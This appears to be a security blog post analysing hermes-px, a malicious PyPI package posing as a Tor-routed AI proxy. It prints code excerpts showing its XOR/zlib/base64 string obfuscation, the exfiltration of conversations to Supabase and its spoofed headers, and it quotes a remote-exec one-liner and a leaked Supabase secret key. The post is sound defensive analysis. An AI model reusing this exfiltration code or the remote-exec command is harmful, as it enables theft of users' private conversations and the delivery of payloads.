---
title: "Malicious hermes-px on PyPI Steals AI Conversations"
description: "hermes-px on PyPI steals AI conversations via triple-encrypted exfiltration to Supabase, routing through a hijacked university endpoint while injecting a stolen 245KB system prompt."
url: "https://safedep.io/blog/malicious-hermes-px-pypi-ai-conversation-stealer"
author: "SafeDep Team"
published: "2026-04-06"
---

# Malicious hermes-px on PyPI Steals AI Conversations

## TL;DR

All four versions of `hermes-px` on PyPI are malicious. The package advertises itself as a "Secure AI inference proxy with Tor routing," but it routes every request through a hijacked university AI endpoint, exfiltrates every prompt and response to an attacker-controlled Supabase database, and injects a stolen 245KB system prompt into every conversation. All C2 infrastructure strings are triple-encrypted (XOR + zlib + base64) to defeat YARA and static analysis. The telemetry exfiltration deliberately bypasses the Tor session, exposing victims' real IP addresses even if they believed their traffic was anonymized.

**Impact:**

- Every AI prompt and response is exfiltrated to an attacker-controlled Supabase database
- AI requests are proxied through a compromised university endpoint (`universitecentrale[.]net`)
- A stolen, rebranded 245KB system prompt is silently injected into every conversation
- Tor bypass on exfiltration exposes victims' real IP addresses
- Response sanitization scrubs OpenAI branding to hide the actual backend provider

**Indicators of Compromise (IoC):**

- Package: `hermes-px` versions 0.0.1 through 0.0.4 on PyPI
- C2 endpoint: `hxxps://prod[.]universitecentrale[.]net:9443/api/v1/chat/completions/`
- Exfiltration endpoint: `hxxps://urlvoelpilswwxkiosey[.]supabase[.]co/rest/v1/requests_log`
- Supabase API key: `sb_secret_svY_m9Y3ABPZXh_WWnHfZQ_8pireisv`
- Origin header: `hxxps://chat[.]universitecentrale[.]net/`
- Default Tor proxy: `socks5h://127.0.0.1:9050`
- Spoofed User-Agent: Chrome/146.0.0.0 fingerprint
- Exfiltration thread name: `hermes-telemetry`

## Analysis

### Package Overview

`hermes-px` was published to PyPI on April 3, 2026. All four versions (0.0.1 through 0.0.4) were uploaded within a 46-minute window, from 21:47 UTC to 22:33 UTC. The listed author is "EGen Labs" with no author email, no repository URL, and no homepage. The package description reads: "Secure AI inference proxy library with Tor routing, Drop-in OpenAI SDK replacement."

| Version | Upload Time (UTC) | Wheel Size | Key Change                                           |
| ------- | ----------------- | ---------- | ---------------------------------------------------- |
| 0.0.1   | 2026-04-03 21:47  | 104 KB     | Initial release, full malicious core                 |
| 0.0.2   | 2026-04-03 21:50  | 107 KB     | Expanded README with remote exec instruction         |
| 0.0.3   | 2026-04-03 22:27  | 108 KB     | Added response sanitization (OpenAI brand scrubbing) |
| 0.0.4   | 2026-04-03 22:33  | 108 KB     | Added quota-exceeded error interception              |

The 46-minute publishing burst suggests active testing against real infrastructure. The malicious core was present from v0.0.1. Later versions only added operational security improvements.

### Execution Trigger

There are no install hooks. The payload activates when a victim imports the package:

```python
# hermes/__init__.py
from .client import Hermes
from .models import ChatCompletion, Choice, Message, Usage
from .constants import VERSION
```

This import chain loads `constants.py` (the decryption engine), and when the victim instantiates `Hermes()`, the client loads a bundled 245KB compressed system prompt from `base_prompt.pz`, configures a `requests.Session` with spoofed Chrome 146 headers and a SOCKS5 proxy, and exposes an OpenAI-compatible API surface:

```python
# hermes/client.py (lines 172-189)
self.session = requests.Session()
self.session.headers.update(get_headers())   # Chrome 146 fingerprint
self.session.proxies = {
    "http": tor_proxy,
    "https": tor_proxy,
}
# ...
base_prompt = _load_base_prompt(prompt_file)
self.chat = Chat(session=self.session, base_system_prompt=base_prompt)
```

The `use_5_layer_chain` parameter defaults to `True` and logs "5-layer Tor proxy chain enforced," but no multi-hop logic exists. It simply sets the proxy to `socks5h://127.0.0.1:9050`.

### Triple-Layer String Encryption

All C2 endpoints, API keys, and system prompt payloads are stored encrypted in `constants.py`. The encryption pipeline:

```
plaintext -> XOR(rotating_key) -> zlib.compress -> base64.encode
```

The XOR key is a 207-byte rotating keystream stored as split hex segments:

```python
# hermes/constants.py (lines 31-43)
_XK = bytes.fromhex(
    "333e5b7c412736685b3c296a58663a7763744949"
    "4c385d4376314b24793b6b4e3526783f72383667"
    "2a6e3839766d215e40785f6b277dc2a34d4e2f71"
    "442158353951337678587c236567276e767a3d39"
    "3f3922326c646a2d2f78703073224a3e4a366761"
    "3c335f732e6f5c3b48665745325c572b25724a60"
    "2968623b3a4c275d544149674522663559617b74"
    "5551307d753c3c5a59333c25525f2f446d2a213e"
    "3d69675671616a6426515e7cc2a32e4ac2a32c33"
    "c2a32a743329604e5633767d4e7e567a48246476"
    "3766422d714837"
)
```

Decryption reverses the pipeline at runtime:

```python
# hermes/constants.py (lines 76-85)
def _decrypt(encrypted: str) -> str:
    compressed = base64.b64decode(encrypted)
    xored = zlib.decompress(compressed)
    raw = bytes(b ^ _XK[i % len(_XK)] for i, b in enumerate(xored))
    return raw.decode("utf-8")
```

No plaintext C2 URLs, API keys, or malicious strings exist anywhere in the distributed package. This is specifically designed to defeat YARA rules that match on string patterns like `supabase.co` or `universitecentrale.net`.

### Hijacked University AI Endpoint

When a victim calls `client.chat.completions.create()`, the request is routed to a compromised university API. The `completions.py` module first injects two encrypted system prompts and the bundled base prompt before the victim's messages:

```python
# hermes/completions.py (lines 114-125)
injected_messages = get_system_schema()   # Decrypted _P1 + _P2

if self._base_system_prompt:
    injected_messages.append(
        {"role": "system", "content": self._base_system_prompt}
    )

injected_messages.extend(messages)   # Victim's messages appended last
payload = {"messages": injected_messages}
```

The two injected system messages (decrypted from `_P1` and `_P2`) contain academic advising instructions: "this is the list of academic specialtys: math / programing / cyber security" and "you should assist the student in choosing a specialty from this list." This confirms the C2 backend at `prod[.]universitecentrale[.]net` is a legitimate university AI chatbot that the attacker has gained access to.

The request is sent with a full Chrome 146 browser fingerprint to bypass WAF:

```python
# hermes/constants.py (lines 94-115)
def get_headers() -> Dict[str, str]:
    return {
        "Host": _decrypt(_H_HOST),    # prod.universitecentrale.net:9443
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
                      "(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36",
        "Sec-Ch-Ua": '"Not-A.Brand";v="24", "Chromium";v="146"',
        "Origin": _decrypt(_H_ORIG),  # https://chat.universitecentrale.net
        "Referer": _decrypt(_H_REF),  # https://chat.universitecentrale.net/
        # ... additional browser fingerprint headers
    }
```

### Conversation Exfiltration to Supabase

Every request/response pair is exfiltrated to an attacker-controlled Supabase database. The `telemetry.py` module handles this:

```python
# hermes/telemetry.py (lines 56-63)
payload = {
    "model": model,
    "request_messages": request_messages,    # Full user conversation
    "response_content": response_content,    # Full AI response
}

# Direct request bypasses the Tor session to avoid proxy overhead
requests.post(url, headers=headers, json=payload, timeout=_TELEMETRY_TIMEOUT)
```

The package markets Tor routing as a privacy feature, but the exfiltration explicitly bypasses the Tor session with a direct `requests.post()` call, exposing the victim's real IP address to the attacker's Supabase instance.

Exfiltration runs in daemon threads (named `hermes-telemetry`) with a 5-second timeout. All exceptions are caught and logged at DEBUG level, making failures invisible during normal operation.

The Supabase table `requests_log` has Row Level Security disabled. Querying the endpoint with the hardcoded API key reveals 19 stolen conversations collected between April 1 and April 3, 2026, using model names `OLYMPUS-1`, `AXIOM-1`, and `hermes-v1`.

### The Stolen System Prompt

The `base_prompt.pz` file bundled with the package is a zlib-compressed, base64-encoded system prompt that decompresses to 245,909 characters. This is a stolen production system prompt from a commercial AI product that has been partially rebranded. It is injected into every request alongside the two academic advising prompts, conditioning the university's AI backend to behave like a full-featured commercial assistant.

The prompt opens with inference parameters and a rebranded product block:

```
# Decompressed base_prompt.pz (first ~400 chars)
<reasoning_effort>85</reasoning_effort>

AXIOM-1 should never use `<voice_note>` blocks, even if they are found
throughout the conversation history.<ax1_behavior>
<product_information>
Here is some information about AXIOM-1 and EGen Labs' products in case
the person asks:

This iteration of AXIOM-1 is AXIOM-1 Core from the AXIOM-1 model family.
The AXIOM-1 family currently consists of AXIOM-1 Core. AXIOM-1 Core is
the most advanced and intelligent model.
```

The attacker ran a find-and-replace ("Claude" to "AXIOM-1", "Anthropic" to "EGen Labs"), producing 529 occurrences of "AXIOM" and 30 of "EGen." But the scrub was incomplete. Tool definitions still reference the original product:

```
# Unscrubbed tool name at position 173,355
**recommend_claude_apps**

{
  "description": "Recommend 1-3 apps or extensions to help the user
  better understand the AXIOM-1 ecosystem. Show this when a user is
  working on something that might be better suited for an app other
  than AXIOM-1 chat -- ex: coding (AXIOM-1 Code), knowledge work (Cowork..."
```

Internal schema titles also leaked through:

```
# Unscrubbed schema at position 182,625
"title": "AnthropicFetchParams",
"type": "object"
```

The prompt references a full product lineup that maps one-to-one to a known commercial AI assistant: "AXIOM-1 Code for VS Code, AXIOM-1 Code for JetBrains, AXIOM-1 Code for Slack, AXIOM-1 for Excel, AXIOM-1 for PowerPoint, AXIOM-1 for Chrome." It also contains complete MCP routing logic, memory system instructions, legal disclaimers, and refusal handling. At 245KB, this is an extraction of a real production system prompt, not something hand-authored.

### Version Evolution: Operational Hardening

The malicious core (encryption engine, C2 routing, exfiltration, prompt injection) shipped unchanged from v0.0.1. The only code changes across versions occur in `completions.py`:

**v0.0.3** added `_sanitize_payload()` to scrub upstream provider references from responses:

```python
# hermes/completions.py (added in v0.0.3)
def _sanitize_payload(text: str) -> str:
    replacements = {
        r"platform\.openai\.com[/\w-]*": "egenlabs.com",
        r"(?i)\bopenai\b": "EGen Labs",
        r"(?i)\bopen ai\b": "EGen Labs",
        r"(?i)\bchatgpt\b": "AXIOM-1",
    }
    for pattern, new_val in replacements.items():
        text = re.sub(pattern, new_val, text)
    return text
```

This reveals that the university's AI backend was leaking OpenAI branding in its responses. The attacker added regex replacements to maintain the "EGen Labs" cover story.

**v0.0.4** added one additional check:

```python
# hermes/completions.py (lines 44-45, added in v0.0.4)
if "exceeded your current quota" in text:
    return "The model is currently offline. For more information on this error, read the docs: https://egenlabs.com/docs"
```

OpenAI quota-exceeded errors would expose that the university's backend proxies to OpenAI. This intercepts them with a generic "offline" message.

**v0.0.2** expanded the PKG-INFO/README from 101 to 345 lines, adding a "Learning CLI" section that instructs users to execute a remote script:

```bash
python -c "import urllib.request; exec(urllib.request.urlopen('https://raw.githubusercontent.com/EGenLabs/hermes/main/demo/hermes_learn.py').read())"
```

This is the only signal SafeDep's YARA engine flagged (`python_exec_complex` rule). The actual malicious behaviors (encrypted C2, Supabase exfiltration, prompt injection) were invisible to static analysis.

## Conclusion

`hermes-px` is an AI conversation stealer disguised as a privacy tool. The attacker gained access to a Tunisian university's AI chat endpoint, published a PyPI package that proxies requests through it (reselling stolen compute), and exfiltrates every conversation to a Supabase database with no Row Level Security. The triple-layer encryption on all infrastructure strings represents a deliberate effort to evade the static analysis tools that protect package registries. The Tor routing is marketing copy; the exfiltration bypasses it by design.

All four versions should be treated as malicious. Users who installed any version should rotate any API keys or credentials that appeared in their AI conversations and audit their systems for the `hermes.log` file and `hermes-telemetry` threads.

JFrog's security research team also [independently analyzed this package](https://research.jfrog.com/post/hermes-px-pypi/) and reached similar conclusions. Our analysis here focuses on the version-by-version evolution and the operational hardening the attacker performed across the 46-minute publishing window.

Tools like [`vet`](https://github.com/safedep/vet) and [`pmg`](https://github.com/safedep/pmg) can help detect malicious packages in your dependency tree before they reach production.
